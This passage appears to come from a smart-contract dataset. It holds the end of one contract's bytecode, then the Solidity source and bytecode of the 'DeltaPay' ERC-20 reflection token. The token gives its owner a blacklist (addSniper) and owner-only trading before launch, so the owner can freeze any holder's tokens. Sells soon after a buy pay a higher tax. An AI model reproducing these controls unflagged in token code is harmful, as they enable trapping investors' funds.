fffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019a505050505050505050505060405160208183030381529060405280519060200120905060006132d9614218565b8260405160200180807f190100000000000000000000000000000000000000000000000000000000000081525060020183815260200182815260200192505050604051602081830303815290604052805190602001209050600060018289898960405160008152602001604052604051808581526020018460ff1660ff1681526020018381526020018281526020019450505050506020604051602081039080840390855afa158015613390573d6000803e3d6000fd5b505050602060405103519050846001600381106133a957fe5b602002013573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614613464576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f696e76616c6964207369676e617475726500000000000000000000000000000081525060200191505060405180910390fd5b600015156001600085815260200190815260200160002060009054906101000a900460ff161515146134fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260198152602001807f6f726465722066696c6c6564206f722063616e63656c6c65640000000000000081525060200191505060405180910390fd5b600180600085815260200190815260200160002060006101000a81548160ff02191690831515021790555060008460036006811061353857fe5b6020020135111561372857600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd8660016003811061358e57fe5b602002013573ffffffffffffffffffffffffffffffffffffffff16600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16876003600681106135d957fe5b60200201356040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b15801561367a57600080fd5b505af115801561368e573d6000803e3d6000fd5b505050506040513d60208110156136a457600080fd5b8101908080519060200190929190505050613727576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260168152602001807f6572726f7220696e2077657468207472616e736665720000000000000000000081525060200191505060405180910390fd5b5b60008460056006811061373757fe5b6020020135111561392c57600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd8660016003811061378d57fe5b602002013573ffffffffffffffffffffffffffffffffffffffff16876002600381106137b557fe5b602002013573ffffffffffffffffffffffffffffffffffffffff16876005600681106137dd57fe5b60200201356040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b15801561387e57600080fd5b505af1158015613892573d6000803e3d6000fd5b505050506040513d60208110156138a857600080fd5b810190808051906020019092919050505061392b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260168152602001807f6572726f7220696e2077657468207472616e736665720000000000000000000081525060200191505060405180910390fd5b5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd8660016003811061397757fe5b602002013573ffffffffffffffffffffffffffffffffffffffff1633876003600681106139a057fe5b6020020135886005600681106139b257fe5b6020020135896001600681106139c457fe5b602002013503036040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b158015613a6757600080fd5b505af1158015613a7b573d6000803e3d6000fd5b505050506040513d6020811015613a9157600080fd5b8101908080519060200190929190505050613b14576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260168152602001807f6572726f7220696e2077657468207472616e736665720000000000000000000081525060200191505060405180910390fd5b600085600060038110613b2357fe5b602002013573ffffffffffffffffffffffffffffffffffffffff1690508073ffffffffffffffffffffffffffffffffffffffff166342842e0e3388600160038110613b6a57fe5b602002013573ffffffffffffffffffffffffffffffffffffffff1688600060068110613b9257fe5b60200201356040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050600060405180830381600087803b158015613c3357600080fd5b505af1158015613c47573d6000803e3d6000fd5b50505050833373ffffffffffffffffffffffffffffffffffffffff1687600160038110613c7057fe5b602002013573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fa7d8f91a29a74a964eb806fe7ae08aa76f1b7df083c6371e800d06463644743d88600160068110613ccf57fe5b602002013589600360068110613ce157fe5b60200201358a600560068110613cf357fe5b60200201358c600260038110613d0557fe5b602002013573ffffffffffffffffffffffffffffffffffffffff166000604051808681526020018581526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019550505050505060405180910390a4505050505050505050565b60006040518080614498609691396096019050604051809103902083600060038110613db257fe5b602002013573ffffffffffffffffffffffffffffffffffffffff1683600060068110613dda57fe5b602002013584600160068110613dec57fe5b602002013585600260068110613dfe57fe5b602002013586600360068110613e1057fe5b602002013588600160038110613e2257fe5b602002013573ffffffffffffffffffffffffffffffffffffffff1688600460068110613e4a57fe5b60200201358a600260038110613e5c57fe5b602002013573ffffffffffffffffffffffffffffffffffffffff168a600560068110613e8457fe5b6020020135604051602001808b81526020018a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018981526020018881526020018781526020018681526020018573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019a5050505050505050505050604051602081830303815290604052805190602001209050600180600083815260200190815260200160002060006101000a81548160ff021916908315150217905550807f26e53791d4bb01bdfb0fa46594d8c6d2645ea486d869091f254c81f564c582e060405160405180910390a2505050565b60006040518080614327609691396096019050604051809103902083600060048110613ff957fe5b602002013573ffffffffffffffffffffffffffffffffffffffff168360006006811061402157fe5b60200201358460016006811061403357fe5b60200201358560026006811061404557fe5b60200201358660036006811061405757fe5b60200201358860016004811061406957fe5b602002013573ffffffffffffffffffffffffffffffffffffffff168860046006811061409157fe5b60200201358a6002600481106140a357fe5b602002013573ffffffffffffffffffffffffffffffffffffffff168a6005600681106140cb57fe5b6020020135604051602001808b81526020018a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018981526020018881526020018781526020018681526020018573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019a5050505050505050505050604051602081830303815290604052805190602001209050600160008083815260200190815260200160002060006101000a81548160ff021916908315150217905550807f26e53791d4bb01bdfb0fa46594d8c6d2645ea486d869091f254c81f564c582e060405160405180910390a2505050565b600060405180806143bd60529139605201905060405180910390206040518060400160405280600a81526020017f474f4c4c554d2e58595a00000000000000000000000000000000000000000000815250805190602001206040518060400160405280600181526020017f310000000000000000000000000000000000000000000000000000000000000081525080519060200120600130604051602001808681526020018581526020018481526020018360ff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001955050505050506040516020818303038152906040528051906020012090509056fe6d617463686f72646572286164647265737320636f6e7472616374616464726573732c75696e7420746f6b656e69642c75696e7420657468616d742c75696e7420646561646c696e652c75696e7420666565616d742c61646472657373207369676e65722c75696e742073616c742c6164647265737320726f79616c7479616464726573732c75696e7420726f79616c7479616d7429454950373132446f6d61696e28737472696e67206e616d652c737472696e672076657273696f6e2c75696e7432353620636861696e49642c6164647265737320766572696679696e67436f6e7472616374296d617463686f66666572286164647265737320636f6e7472616374616464726573732c75696e7420657468616d742c75696e7420646561646c696e652c75696e7420666565616d742c61646472657373207369676e65722c75696e742073616c742c6164647265737320726f79616c7479616464726573732c75696e7420726f79616c7479616d74296d617463686f66666572286164647265737320636f6e7472616374616464726573732c75696e7420746f6b656e69642c75696e7420657468616d742c75696e7420646561646c696e652c75696e7420666565616d742c61646472657373207369676e65722c75696e742073616c742c6164647265737320726f79616c7479616464726573732c75696e7420726f79616c7479616d7429a2646970667358221220bf12360f6acd8929f79f30c2080ac5b05f269c68887158245377444d2e56f71064736f6c63430006000033
|
{"success": true, "error": null, "results": {}}
| 5,320 |
0x2586f528ce904a634792bbfe2a2399cd515dd81e
|
/**
*Submitted for verification at Etherscan.io on 2022-03-21
*/
// SPDX-License-Identifier: Unlicensed
//TG @DeltaPay
//deltapay.io
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract DeltaPay is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Delta Pay";
string private constant _symbol = "DeltaPay";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping (address => uint256) private _buyMap;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e10 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
mapping(address => bool) private _isSniper;
uint256 public launchTime;
uint256 private _redisFeeJeets = 0;
uint256 private _taxFeeJeets = 10;
uint256 private _redisFeeOnBuy = 0;
uint256 private _taxFeeOnBuy = 7;
uint256 private _redisFeeOnSell = 0;
uint256 private _taxFeeOnSell = 7;
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _burnFee = 0;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
uint256 private _previousburnFee = _burnFee;
address payable private _marketingAddress = payable(0x7cC05edC4e402956C60bfB46db280f00705C2237);
address public constant deadAddress = 0x000000000000000000000000000000000000dEaD;
uint256 public timeJeets = 2 minutes;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
bool private isMaxBuyActivated = true;
uint256 public _maxTxAmount = 2e10 * 10**9;
uint256 public _maxWalletSize = 2e10 * 10**9;
uint256 public _swapTokensAtAmount = 1000 * 10**9;
uint256 public _minimumBuyAmount = 2e10 * 10**9 ;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_marketingAddress] = true;
_isExcludedFromFee[deadAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function createPair() external onlyOwner(){
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0 && _burnFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_previousburnFee = _burnFee;
_redisFee = 0;
_taxFee = 0;
_burnFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
_burnFee = _previousburnFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!_isSniper[to], 'Stop sniping!');
require(!_isSniper[from], 'Stop sniping!');
require(!_isSniper[_msgSender()], 'Stop sniping!');
if (from != owner() && to != owner()) {
if (!tradingOpen) {
revert("Trading not yet enabled!");
}
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
if (to != address(this) && from != address(this) && to != _marketingAddress && from != _marketingAddress) {
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
}
}
if (to != uniswapV2Pair && to != _marketingAddress && to != address(this) && to != deadAddress) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
if (isMaxBuyActivated) {
if (block.timestamp <= launchTime + 20 minutes) {
require(amount <= _minimumBuyAmount, "Amount too much");
}
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance > _swapTokensAtAmount;
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
uint256 burntAmount = 0;
if (_burnFee > 0) {
burntAmount = contractTokenBalance.mul(_burnFee).div(10**2);
burnTokens(burntAmount);
}
swapTokensForEth(contractTokenBalance - burntAmount);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_buyMap[to] = block.timestamp;
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
if (block.timestamp == launchTime) {
_isSniper[to] = true;
}
}
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
if (_buyMap[from] != 0 && (_buyMap[from] + timeJeets >= block.timestamp)) {
_redisFee = _redisFeeJeets;
_taxFee = _taxFeeJeets;
} else {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function burnTokens(uint256 burntAmount) private {
_transfer(address(this), deadAddress, burntAmount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
launchTime = block.timestamp;
}
function setMarketingWallet(address marketingAddress) external {
require(_msgSender() == _marketingAddress);
_marketingAddress = payable(marketingAddress);
_isExcludedFromFee[_marketingAddress] = true;
}
function setIsMaxBuyActivated(bool _isMaxBuyActivated) public onlyOwner {
isMaxBuyActivated = _isMaxBuyActivated;
}
function manualswap(uint256 amount) external {
require(_msgSender() == _marketingAddress);
require(amount <= balanceOf(address(this)) && amount > 0, "Wrong amount");
swapTokensForEth(amount);
}
function addSniper(address sniper) external onlyOwner {
_isSniper[sniper] = true;
}
function removeSniper(address sniper) external onlyOwner {
if (_isSniper[sniper]) {
_isSniper[sniper] = false;
}
}
function isSniper(address sniper) external view returns (bool){
return _isSniper[sniper];
}
function manualsend() external {
require(_msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
function setMaxTxnAmount(uint256 maxTxAmount) external onlyOwner {
require(maxTxAmount >= 5e9 * 10**9, "Maximum transaction amount must be greater than 0.5%");
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) external onlyOwner {
require(maxWalletSize >= _maxWalletSize);
_maxWalletSize = maxWalletSize;
}
function setTaxFee(uint256 amountBuy, uint256 amountSell) external onlyOwner {
require(amountBuy >= 0 && amountBuy <= 13);
require(amountSell >= 0 && amountSell <= 13);
_taxFeeOnBuy = amountBuy;
_taxFeeOnSell = amountSell;
}
function setRefFee(uint256 amountRefBuy, uint256 amountRefSell) external onlyOwner {
require(amountRefBuy >= 0 && amountRefBuy <= 1);
require(amountRefSell >= 0 && amountRefSell <= 1);
_redisFeeOnBuy = amountRefBuy;
_redisFeeOnSell = amountRefSell;
}
function setBurnFee(uint256 amount) external onlyOwner {
require(amount >= 0 && amount <= 1);
_burnFee = amount;
}
function setJeetsFee(uint256 amountRedisJeets, uint256 amountTaxJeets) external onlyOwner {
require(amountRedisJeets >= 0 && amountRedisJeets <= 1);
require(amountTaxJeets >= 0 && amountTaxJeets <= 19);
_redisFeeJeets = amountRedisJeets;
_taxFeeJeets = amountTaxJeets;
}
function setTimeJeets(uint256 hoursTime) external onlyOwner {
require(hoursTime >= 0 && hoursTime <= 4);
timeJeets = hoursTime * 1 hours;
}
}
|
0x6080604052600436106102295760003560e01c8063715018a6116101235780639e78fb4f116100ab578063dd62ed3e1161006f578063dd62ed3e1461066f578063e0f9f6a0146106b5578063ea1644d5146106d5578063f2fde38b146106f5578063fe72c3c11461071557600080fd5b80639e78fb4f146105da5780639ec350ed146105ef5780639f1315711461060f578063a9059cbb1461062f578063c55284901461064f57600080fd5b8063881dce60116100f2578063881dce60146105355780638da5cb5b146105555780638f70ccf7146105735780638f9a55c01461059357806395d89b41146105a957600080fd5b8063715018a6146104d457806374010ece146104e9578063790ca413146105095780637d1db4a51461051f57600080fd5b806333251a0b116101b15780635d098b38116101755780635d098b38146104495780636b9cf534146104695780636d8aa8f81461047f5780636fc3eaec1461049f57806370a08231146104b457600080fd5b806333251a0b146103a757806338eea22d146103c95780633e3e9598146103e957806349bd5a5e146104095780634bf2c7c91461042957600080fd5b806318160ddd116101f857806318160ddd1461031a57806323b872dd1461033f57806327c8f8351461035f5780632fd689e314610375578063313ce5671461038b57600080fd5b806306fdde0314610235578063095ea7b3146102795780630f3a325f146102a95780631694505e146102e257600080fd5b3661023057005b600080fd5b34801561024157600080fd5b5060408051808201909152600981526844656c74612050617960b81b60208201525b6040516102709190612102565b60405180910390f35b34801561028557600080fd5b50610299610294366004612079565b61072b565b6040519015158152602001610270565b3480156102b557600080fd5b506102996102c4366004611fc5565b6001600160a01b031660009081526009602052604090205460ff1690565b3480156102ee57600080fd5b50601954610302906001600160a01b031681565b6040516001600160a01b039091168152602001610270565b34801561032657600080fd5b50678ac7230489e800005b604051908152602001610270565b34801561034b57600080fd5b5061029961035a366004612038565b610742565b34801561036b57600080fd5b5061030261dead81565b34801561038157600080fd5b50610331601d5481565b34801561039757600080fd5b5060405160098152602001610270565b3480156103b357600080fd5b506103c76103c2366004611fc5565b6107ab565b005b3480156103d557600080fd5b506103c76103e43660046120e0565b610823565b3480156103f557600080fd5b506103c7610404366004611fc5565b610874565b34801561041557600080fd5b50601a54610302906001600160a01b031681565b34801561043557600080fd5b506103c76104443660046120c7565b6108c2565b34801561045557600080fd5b506103c7610464366004611fc5565b6108ff565b34801561047557600080fd5b50610331601e5481565b34801561048b57600080fd5b506103c761049a3660046120a5565b610959565b3480156104ab57600080fd5b506103c76109a1565b3480156104c057600080fd5b506103316104cf366004611fc5565b6109cb565b3480156104e057600080fd5b506103c76109ed565b3480156104f557600080fd5b506103c76105043660046120c7565b610a61565b34801561051557600080fd5b50610331600a5481565b34801561052b57600080fd5b50610331601b5481565b34801561054157600080fd5b506103c76105503660046120c7565b610b05565b34801561056157600080fd5b506000546001600160a01b0316610302565b34801561057f57600080fd5b506103c761058e3660046120a5565b610b81565b34801561059f57600080fd5b50610331601c5481565b3480156105b557600080fd5b5060408051808201909152600881526744656c746150617960c01b6020820152610263565b3480156105e657600080fd5b506103c7610bcd565b3480156105fb57600080fd5b506103c761060a3660046120e0565b610db2565b34801561061b57600080fd5b506103c761062a3660046120a5565b610e03565b34801561063b57600080fd5b5061029961064a366004612079565b610e4b565b34801561065b57600080fd5b506103c761066a3660046120e0565b610e58565b34801561067b57600080fd5b5061033161068a366004611fff565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b3480156106c157600080fd5b506103c76106d03660046120c7565b610ea9565b3480156106e157600080fd5b506103c76106f03660046120c7565b610ef3565b34801561070157600080fd5b506103c7610710366004611fc5565b610f31565b34801561072157600080fd5b5061033160185481565b600061073833848461101b565b5060015b92915050565b600061074f84848461113f565b6107a1843361079c856040518060600160405280602881526020016122d6602891396001600160a01b038a1660009081526005602090815260408083203384529091529020549190611866565b61101b565b5060019392505050565b6000546001600160a01b031633146107de5760405162461bcd60e51b81526004016107d590612157565b60405180910390fd5b6001600160a01b03811660009081526009602052604090205460ff1615610820576001600160a01b0381166000908152600960205260409020805460ff191690555b50565b6000546001600160a01b0316331461084d5760405162461bcd60e51b81526004016107d590612157565b600182111561085b57600080fd5b600181111561086957600080fd5b600d91909155600f55565b6000546001600160a01b0316331461089e5760405162461bcd60e51b81526004016107d590612157565b6001600160a01b03166000908152600960205260409020805460ff19166001179055565b6000546001600160a01b031633146108ec5760405162461bcd60e51b81526004016107d590612157565b60018111156108fa57600080fd5b601355565b6017546001600160a01b0316336001600160a01b03161461091f57600080fd5b601780546001600160a01b039092166001600160a01b0319909216821790556000908152600660205260409020805460ff19166001179055565b6000546001600160a01b031633146109835760405162461bcd60e51b81526004016107d590612157565b601a8054911515600160b01b0260ff60b01b19909216919091179055565b6017546001600160a01b0316336001600160a01b0316146109c157600080fd5b47610820816118a0565b6001600160a01b03811660009081526002602052604081205461073c906118de565b6000546001600160a01b03163314610a175760405162461bcd60e51b81526004016107d590612157565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b03163314610a8b5760405162461bcd60e51b81526004016107d590612157565b674563918244f40000811015610b005760405162461bcd60e51b815260206004820152603460248201527f4d6178696d756d207472616e73616374696f6e20616d6f756e74206d7573742060448201527362652067726561746572207468616e20302e352560601b60648201526084016107d5565b601b55565b6017546001600160a01b0316336001600160a01b031614610b2557600080fd5b610b2e306109cb565b8111158015610b3d5750600081115b610b785760405162461bcd60e51b815260206004820152600c60248201526b15dc9bdb99c8185b5bdd5b9d60a21b60448201526064016107d5565b61082081611962565b6000546001600160a01b03163314610bab5760405162461bcd60e51b81526004016107d590612157565b601a8054911515600160a01b0260ff60a01b1990921691909117905542600a55565b6000546001600160a01b03163314610bf75760405162461bcd60e51b81526004016107d590612157565b601980546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a0155916004808301926020929190829003018186803b158015610c5757600080fd5b505afa158015610c6b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c8f9190611fe2565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610cd757600080fd5b505afa158015610ceb573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d0f9190611fe2565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b158015610d5757600080fd5b505af1158015610d6b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d8f9190611fe2565b601a80546001600160a01b0319166001600160a01b039290921691909117905550565b6000546001600160a01b03163314610ddc5760405162461bcd60e51b81526004016107d590612157565b6001821115610dea57600080fd5b6013811115610df857600080fd5b600b91909155600c55565b6000546001600160a01b03163314610e2d5760405162461bcd60e51b81526004016107d590612157565b601a8054911515600160b81b0260ff60b81b19909216919091179055565b600061073833848461113f565b6000546001600160a01b03163314610e825760405162461bcd60e51b81526004016107d590612157565b600d821115610e9057600080fd